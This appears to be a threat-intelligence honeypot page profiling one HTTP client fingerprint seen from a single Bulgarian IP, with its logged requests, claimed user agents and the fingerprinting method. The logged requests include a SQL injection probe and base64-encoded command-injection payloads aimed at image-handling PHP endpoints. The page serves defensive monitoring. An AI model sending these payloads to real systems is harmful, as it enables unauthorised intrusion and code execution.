HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

b11cun070_0005001f_498e5f6c

Seen 2026-04-01 to 2026-10-01 across the retained window.

Open in lookup → Addresses as a feed

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS48090 sends an email when it next hits a sensor.

1

Source IPs

1

Networks

1

Countries

1

Ports hit

26

Events

1

IPs / network

This fingerprint is spread thinly across many networks, which is the shape of a common, widely-used client.

Top networks

AS48090 Techoff Srv Limited1 IPs26

Countries

BG 1

Ports targeted

443/tcp 26

What it requests

GET/admin/user.php3
GET/rest/users/13
GET/horde/admin/user.php3
GET/webapi/v1/system/accountmanage/account3
GET/mdiy/dict/listExcludeApp?query=1&dictType=1&orderBy=1/**/or/**/updatexml(1,concat(0x7e,md5('999999999'),0x7e),1)/**/or/**/13
GET/objects/ztbgg.txt1
GET/objects/idtgm.txt1
GET/objects/mmmrx.txt1
GET/objects/getImageMP4.php?base64Url=YGlkID4gbW1tcngudHh0YA===&format=jpg1
GET/objects/getImageMP4.php?base64Url=YGlkID4genRiZ2cudHh0YA===&format=jpg1
GET/objects/getImage.php?base64Url=YGlkID4gbW1tcngudHh0YA===&format=png1
GET/objects/getImage.php?base64Url=YGlkID4genRiZ2cudHh0YA===&format=png1

User agents claimed

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Mobile/15E148 Safari/604.11 IPs1
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.01 IPs1
Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.111 IPs1
Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.271 IPs1
Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.361 IPs1
Source IPCCNetwork Last seenEvents
93.123.109.214BGAS48090 Techoff Srv Limited2026-10-0126

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

b11cun060_0004001f_d170ef011 header apart16 IPs37.4Kb11cun060_0004001f_eefe52101 header apart19 IPs5.8Kb11cdn091_0005001f_70058852_xff631 header apart10 IPs5.0Kb11cun080_0005005f_384a0c901 header apart50 IPs3.7Kb11cun060_0004001f_7d5e642b1 header apart448 IPs2.7Kb11cun060_0004001f_b9768d0e1 header apart2 IPs2.4Kb11cun060_0004001f_9b6188bf1 header apart29 IPs1.3Kb11cun060_0004001f_e609a46c1 header apart311 IPs852

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.